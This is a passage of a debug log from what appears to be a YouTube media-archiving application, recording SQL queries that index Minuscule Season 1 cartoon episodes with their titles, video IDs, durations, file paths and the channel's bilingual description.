"Minuscule - fourmis à la noix/Shellproof (Season 1)", "08a5fb77-ba1d-4e2a-9618-ce0eb162c76f", "tg3aAGOs5ec", 346, false, 4, "https://www.youtube.com/watch?v=tg3aAGOs5ec", 80, "/downloads/Miniscule Season 1/2020-06-09 Minuscule - fourmis à la noix⧸Shellproof (Season 1)/Minuscule - fourmis à la noix⧸Shellproof (Season 1) [tg3aAGOs5ec].mkv", false, false, false, [], 1, ~U[2020-06-09 14:30:05Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - fourmis à la noix/Shellproof (Season 1)", "tg3aAGOs5ec", 346, false, 4, "https://www.youtube.com/watch?v=tg3aAGOs5ec", "/downloads/Miniscule Season 1/2020-06-09 Minuscule - fourmis à la noix⧸Shellproof (Season 1)/Minuscule - fourmis à la noix⧸Shellproof (Season 1) [tg3aAGOs5ec].mkv", false, ~U[2020-06-09 14:30:05Z]] 00:54:34.193 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.194 [debug] QUERY OK source="media_items" db=1.0ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-02 14:30:02Z], 4] 00:54:34.197 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chenille des Villes Papillon des Champs/City Caterpillar (Season 1)", "95e191e3-d530-48bb-980d-a042c42c2b5b", "D6yna_jz_9A", 340, false, 4, "https://www.youtube.com/watch?v=D6yna_jz_9A", 81, "/downloads/Miniscule Season 1/2020-06-02 Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1)/Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1) [D6yna_jz_9A].mp4", false, false, false, [], 1, ~U[2020-06-02 14:30:02Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chenille des Villes Papillon des Champs/City Caterpillar (Season 1)", "D6yna_jz_9A", 340, false, 4, "https://www.youtube.com/watch?v=D6yna_jz_9A", "/downloads/Miniscule Season 1/2020-06-02 Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1)/Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1) [D6yna_jz_9A].mp4", false, ~U[2020-06-02 14:30:02Z]] 00:54:34.198 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.199 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-26 14:30:09Z], 4] 00:54:34.202 [debug] QUERY OK source="media_items" db=2.0ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse au Carré/Dung Beetle Blues (season 1)", "681353be-f5ae-44c7-952b-a6cc2fc60ace", "fZqONwpU-2g", 346, false, 4, "https://www.youtube.com/watch?v=fZqONwpU-2g", 82, "/downloads/Miniscule Season 1/2020-05-26 Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1)/Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1) [fZqONwpU-2g].mp4", false, false, false, [], 1, ~U[2020-05-26 14:30:09Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse au Carré/Dung Beetle Blues (season 1)", "fZqONwpU-2g", 346, false, 4, "https://www.youtube.com/watch?v=fZqONwpU-2g", "/downloads/Miniscule Season 1/2020-05-26 Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1)/Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1) [fZqONwpU-2g].mp4", false, ~U[2020-05-26 14:30:09Z]] 00:54:34.202 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.204 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-19 14:30:03Z], 4] 00:54:34.211 [debug] QUERY OK source="media_items" db=6.6ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hallowen parano/Halloween Paranoid (Season 1)", "4000371a-08db-4dc7-808a-6297c2686bb7", "OUOePFPMeAs", 346, false, 4, "https://www.youtube.com/watch?v=OUOePFPMeAs", 83, "/downloads/Miniscule Season 1/2020-05-19 Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1)/Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1) [OUOePFPMeAs].mp4", false, false, false, [], 1, ~U[2020-05-19 14:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hallowen parano/Halloween Paranoid (Season 1)", "OUOePFPMeAs", 346, false, 4, "https://www.youtube.com/watch?v=OUOePFPMeAs", "/downloads/Miniscule Season 1/2020-05-19 Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1)/Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1) [OUOePFPMeAs].mp4", false, ~U[2020-05-19 14:30:03Z]] 00:54:34.212 [debug] QUERY OK source="sources" db=0.4ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.213 [debug] QUERY OK source="media_items" db=0.9ms idle=10.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-12 14:30:00Z], 4] 00:54:34.216 [debug] QUERY OK source="media_items" db=1.8ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - king size camembert (Season 1)", "7f4158e2-d3ac-425d-96e6-5025140ef801", "-bexhyoEWCs", 336, false, 4, "https://www.youtube.com/watch?v=-bexhyoEWCs", 84, "/downloads/Miniscule Season 1/2020-05-12 Minuscule - king size camembert (Season 1)/Minuscule - king size camembert (Season 1) [-bexhyoEWCs].mp4", false, false, false, [], 1, ~U[2020-05-12 14:30:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - king size camembert (Season 1)", "-bexhyoEWCs", 336, false, 4, "https://www.youtube.com/watch?v=-bexhyoEWCs", "/downloads/Miniscule Season 1/2020-05-12 Minuscule - king size camembert (Season 1)/Minuscule - king size camembert (Season 1) [-bexhyoEWCs].mp4", false, ~U[2020-05-12 14:30:00Z]] 00:54:34.217 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.218 [debug] QUERY OK source="media_items" db=0.9ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-05 14:30:07Z], 4] 00:54:34.221 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse de la/The Dung Beetle Battle (Season 1)", "37d0b8da-f228-4e94-b6c8-a0215b5fc2b6", "v_ke3Ve0mIs", 343, false, 4, "https://www.youtube.com/watch?v=v_ke3Ve0mIs", 85, "/downloads/Miniscule Season 1/2020-05-05 Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1)/Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1) [v_ke3Ve0mIs].mp4", false, false, false, [], 1, ~U[2020-05-05 14:30:07Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse de la/The Dung Beetle Battle (Season 1)", "v_ke3Ve0mIs", 343, false, 4, "https://www.youtube.com/watch?v=v_ke3Ve0mIs", "/downloads/Miniscule Season 1/2020-05-05 Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1)/Minuscule - Bouse de la⧸The Dung Beetle Battle (Season 1) [v_ke3Ve0mIs].mp4", false, ~U[2020-05-05 14:30:07Z]] 00:54:34.222 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.223 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-28 14:30:05Z], 4] 00:54:34.226 [debug] QUERY OK source="media_items" db=2.1ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Cigale do Brazil/Cicada do Brazil (Season 1)", "94621ec2-0bba-4d39-b502-fb7df57dc41d", "g0LK1_qrzO8", 333, false, 4, "https://www.youtube.com/watch?v=g0LK1_qrzO8", 86, "/downloads/Miniscule Season 1/2020-04-28 Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1)/Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1) [g0LK1_qrzO8].mkv", false, false, false, [], 1, ~U[2020-04-28 14:30:05Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Cigale do Brazil/Cicada do Brazil (Season 1)", "g0LK1_qrzO8", 333, false, 4, "https://www.youtube.com/watch?v=g0LK1_qrzO8", "/downloads/Miniscule Season 1/2020-04-28 Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1)/Minuscule - Cigale do Brazil⧸Cicada do Brazil (Season 1) [g0LK1_qrzO8].mkv", false, ~U[2020-04-28 14:30:05Z]] 00:54:34.227 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.228 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-21 14:30:04Z], 4] 00:54:34.231 [debug] QUERY OK source="media_items" db=2.0ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Deux chenilles/Caterpillars in Pairs (Season 1)", "92e84ec7-4d03-4410-b147-d5d63c5c203a", "VPFUibx1tX4", 344, false, 4, "https://www.youtube.com/watch?v=VPFUibx1tX4", 87, "/downloads/Miniscule Season 1/2020-04-21 Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1)/Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1) [VPFUibx1tX4].mp4", false, false, false, [], 1, ~U[2020-04-21 14:30:04Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Deux chenilles/Caterpillars in Pairs (Season 1)", "VPFUibx1tX4", 344, false, 4, "https://www.youtube.com/watch?v=VPFUibx1tX4", "/downloads/Miniscule Season 1/2020-04-21 Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1)/Minuscule - Deux chenilles⧸Caterpillars in Pairs (Season 1) [VPFUibx1tX4].mp4", false, ~U[2020-04-21 14:30:04Z]] 00:54:34.232 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 